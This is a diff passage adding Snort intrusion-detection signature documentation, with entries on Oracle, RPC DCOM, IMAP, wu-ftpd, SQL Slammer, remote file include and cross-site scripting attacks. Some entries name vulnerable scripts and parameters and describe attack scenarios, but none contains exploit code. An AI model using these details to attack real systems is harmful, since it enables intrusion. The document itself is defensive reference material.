+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-12.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2842.txt
+++ snort-2.8.5.2/doc/signatures/2842.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2842
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna_utl.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000631.txt
+++ snort-2.8.5.2/doc/signatures/100000631.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000631
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "review_validate_edit.php" using a remote file being passed 
+as the "admin_template_path" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"review_validate_edit.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1913.txt
+++ snort-2.8.5.2/doc/signatures/1913.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1916
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a format
+string vulnerability associated with the Remote Procedure Call (RPC)
+rpc.statd.
+
+--
+Impact:
+Remote root access. This may permit execution of arbitrary commands with
+the privileges of root.
+
+--
+Detailed Information:
+The rpc.statd daemon is a component of Network File System (NFS) that
+implements the Network Status and Monitor (NSM) RPC functions.  NSM
+monitors the status of NFS clients and servers and maintains a list of
+hosts that have registered to be notified when an NFS host crashes. 
+There is a format string vulnerability associated with the code that
+implements the monitoring of a given host, possibly permitting the
+execution of arbitrary commands with the privileges of root. 
+
+--
+Affected Systems:
+	Conectiva Linux 4.0, 4.1, 4.2, 5.0, 5.1
+	Debian Linux 2.2, 2.3
+	Red Hat Linux 6.0, 6.1, 6.2
+	SuSE Linux 6.3, 6.4, 7.0
+	Trustix Secure Linux 1.0, 1.1
+
+--
+Attack Scenarios:
+An attacker can attempt to exploit the format string error allowing
+execution of arbitrary commands with the privileges of root.  
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2168.txt
+++ snort-2.8.5.2/doc/signatures/2168.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2168
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3375.txt
+++ snort-2.8.5.2/doc/signatures/3375.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3375
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000453.txt
+++ snort-2.8.5.2/doc/signatures/100000453.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000453
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "KAPhotoservice" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "apage" parameter in the "edtalbum.asp" script 
+used by the "KAPhotoservice" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using KAPhotoservice
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1842.txt
+++ snort-2.8.5.2/doc/signatures/1842.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1842
+
+--
+Summary:
+This event is generated when a remote attacker sends a malformed
+argument in the LOGIN command to an internal IMAP server, indicating an
+attempt to exploit a buffer overflow vulnerability in Netscape Messaging
+Server and University of Washington IMAP implementations. This may also
+affect other IMAP server implementations.
+
+--
+Impact:
+Remote execution of arbitrary code with the security privileges of the
+IMAP process, possibly leading to remote root compromise.
+
+--
+Detailed Information:
+A buffer overflow vulnerability exists in the LOGIN command in
+University of Washington IMAP and Netscape Messaging Server. This can
+allow a remote attacker to send an LOGIN command with a malformed,
+overlong argument to a vulnerable IMAP server, causing a buffer overflow
+condition. The attacker can then execute arbitrary code on the server
+with the security privileges of the IMAP server process.     
+
+--
+Affected Systems:
+	Netscape Messaging Server 3.55 and earlier
+	University of Washington imapd 10.234 and earlier.
+	Ipswitch iMail 5.0
+
+--
+Attack Scenarios:
+An attacker sends an overly long, malformed argument to an LOGIN command
+to a vulnerable IMAP server, causing a buffer overflow condition. The
+attacker is then able to execute arbitrary code on the server with the
+security privileges of the IMAP server process.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Patches have been released for both UW IMAP and Netscape Messaging
+Server. Apply the patch or upgrade to a Netscape Messaging Server
+version higher than 3.55 or UW IMAP version higher than 10.234.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/130
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2050.txt
+++ snort-2.8.5.2/doc/signatures/2050.txt
@@ -0,0 +1,89 @@
+Rule:
+
+--
+Sid:
+2050
+
+--
+Summary:
+of MS-SQL server running on a host.
+
+--
+Impact:
+Denial of Service, possible code execution and control of the server.
+
+--
+Detailed Information:
+Versions of Microsofts implementation of SQL server running the 
+resolution service are subject to multiple buffer overflows.
+
+It is possible to overwrite memory with data of the attackers choosing, 
+resulting in a denial of service or possible code execution. This is 
+done by sending carefully crafted packets to the resolution service 
+running on the server.
+
+It is also possible for the attacker to cause a denial of service by 
+sending a spoofed packet purporting to be from one SQL server to 
+another. The resulting exchange between the two servers could result in 
+a denial of service.
+
+--
+Affected Systems:
+	Cisco BBSM 5.0
+	Cisco BBSM 5.1
+	Cisco CallManager 3.3.x
+	Cisco Unity 3.x
+	Cisco Unity 4.x
+	
+	Microsoft .NET Framework 1.0
+	Microsoft SQL Server 2000
+	Windows 2000 Any version
+	Windows NT Any version
+
+--
+Attack Scenarios:
+The SQL Slammer (Sapphire) worm exploited the vulnerabilities in this 
+service.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This rule can be triggered by UDP responses to requests originating from
+ephemeral port 1434. Example: a DNS response with transaction ID between
+0x0400 and 0x04FF.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Update all instances of the vulnerable systems with patches from the 
+vendor.
+
+Use a firewall to deny access to ports used by the SQL server, usually 
+1433 and 1434, from the Internet.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms02-039.asp
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0649
+
+Bugtraq:
+http://www.securityfocus.com/bid/5310
+http://www.securityfocus.com/bid/5311
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2612.txt
+++ snort-2.8.5.2/doc/signatures/2612.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2612
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "revoke_surrogate_repcate" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "userid" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1900.txt
+++ snort-2.8.5.2/doc/signatures/1900.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1900
+
+--
+Summary:
+This event is generated when a known response to a sucessful attack is
+detected.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when a known response to a sucessful attack is
+detected. Some applications do not perform stringent checks when validating
+the credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can be
+compromised and trust relationships between the victim server and other
+hosts can be exploited by the attacker.
+
+Events generated by rules in attack-responses.rules may indicate that an
+attack against a host has been sucessful.
+
+--
+Affected Systems:
+	Any vulnerable host.
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. An attacker might also exploit a
+weakness in a particular application or piece of software that will
+present the opportunity to gain access to the host.
+
+--
+Ease of Attack:
+Simple. Many exploits exist for various systems and software.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Care should be taken to investigate the source of the event. Check for
+signs of system compromise in log files. Check for listening services on
+high ports.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2795.txt
+++ snort-2.8.5.2/doc/signatures/2795.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2795
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure refresh_snapshot_repgroup
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000806.txt
+++ snort-2.8.5.2/doc/signatures/100000806.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000806
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BosClassifieds" application running on a webserver. Access to the file "search.php" using a remote file being passed as the "insPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "insPath" parameter in the "search.php" script used by the "BosClassifieds" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BosClassifieds
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3047.txt
+++ snort-2.8.5.2/doc/signatures/3047.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3047
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/343.txt
+++ snort-2.8.5.2/doc/signatures/343.txt
@@ -0,0 +1,60 @@
+SID:
+343
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd running on FreeBSD
+--
+
+Impact:
+Possible remote execution of commands on the affected server as the root user
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) does not perform proper 
+checking in its SITE EXEC implementation, and allows user input to be 
+sent directly to printf. This allows an attacker to overwrite data and 
+eventually execute code on the server.
+
+--
+
+Affected Systems:
+Any system running wu-ftpd 2.6 .0 or below
+--
+
+Attack Scenarios:
+A remote attacker will attempt to execute commands on the ftp server 
+with root user privileges, over writing or modifying system files. This 
+can be done with anonymous and real user logins.
+--
+
+Ease of Attack:
+Simple, Exploits exist
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to latest version which has fixes for this problem. Maybe even get rid of wu-ftp with something more secure
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000446.txt
+++ snort-2.8.5.2/doc/signatures/100000446.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000446
+
+--
+Summary:
+Particle Wiki is susceptible to an injection attack due to a lack of input
+validation on the version variable used in the index.php component.
+
+--
+Impact:
+The injection attack could result in data leakage, or potential remote 
+compromise.
+
+--
+Detailed Information:
+Particle Wiki is prone to an SQL-injection vulnerability. This issue is due to
+a failure in the application to properly sanitize user-supplied input before
+using it in an SQL query. 
+
+A successful exploit could allow an attacker to compromise the application,
+access or modify data, or exploit vulnerabilities in the underlying database
+implementation.
+
+--
+Attack Scenarios:
+Variable manipulation can be done with any browser.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Edit code and add input validation.
+
+--
+Contributors:
+Dan Ramaswami <danr@sourcefire.com>
+
+-- 
+Additional References:
+
+-- 
--- snort-2.8.5.2.orig/doc/signatures/411.txt
+++ snort-2.8.5.2/doc/signatures/411.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+411
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP IPV6 I-Am-Here datagram.
+
+--
+
+Impact:
+ICMP Type 34 datagrams are not expected network traffic.  Hosts generating ICMP Type 34 datagrams should be investigated for hostile activity.
+
+--
+
+Detailed Information:
+ICMP Type 34 is an undocumented extension to RFC 1812 and RFC 792.  Its current use it not defined by an approved RFC.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Hosts generating ICMP Type 34 datagrams should be investigated for hostile activity.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2956.txt
+++ snort-2.8.5.2/doc/signatures/2956.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2956
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/402.txt
+++ snort-2.8.5.2/doc/signatures/402.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+--
+Sid:
+402
+
+--
+Summary:
+This event is generated when an ICMP Port Unreachable message was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+An ICMP Port Unreachable is not an attack, but may indicate that the source
+of the packet was the target of a scan or other malicious activity.
+
+An ICMP Port Unreachable (ICMP type 3 code 3) indicates that someone or
+something tried to connect to a port on a system that was not available
+(i.e., no service was running on that port).
+
+This is analagous to RST packets in TCP.  Since UDP does not have an
+equivalent, it relies upon ICMP Port Unreachable for this. This often
+indicates someone was scanning for UDP services.
+
+--
+Affected Systems:
+	All systems
+ 
+--
+Attack Scenarios:
+An attacker may use a port scanner to determine possible attack vectors
+as a prelude to a directed attack against a system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+This kind of packet is common on networks, and may be generated by simple
+misconfigurations on either the source or destination, or service outage.
+
+--
+False Negatives:
+Not all operating systems will respond with ICMP Port Unreachable
+messages when no service is running.
+
+--
+Corrective Action:
+Examine the activity of the recipient of this packet to see if the
+recipient was responsible for scanning or other behavior.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+RFC 792:
+http://www.faqs.org/rfcs/rfc792.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/577.txt
+++ snort-2.8.5.2/doc/signatures/577.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+577
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) bootparam is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port bootparam is using.  Attackers can also learn what versions of the bootparam protocol are accepted by bootparam.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as bootparam run.  The bootparam RPC service is used by some diskless workstations to query a server to discover the information required to boot.  The client will issue a bootparam whoami request to the server.  The server response will include the Network Information Systems (NIS) domain name.  If no authentication is used, an attacker can send a bootparam request.  The domain name provides valuable information that can be used to break into an NIS environment.  
+
+--
+Affected Systems:
+Any host running bootparam with no authentication.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where bootparam runs.  This may be a precursor to accessing bootparam.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access bootparam, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for bootparam, not probes of the bootparam service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the bootparam service itself. An attacker may attempt to go directly to the bootparam port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0647
+
+Arachnids 
+http://www.whitehats.com/info/IDS16
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000450.txt
+++ snort-2.8.5.2/doc/signatures/100000450.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000450
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VanillaSoft Helpdesk" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "username" parameter in the "default.asp" 
+script used by the "VanillaSoft Helpdesk" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
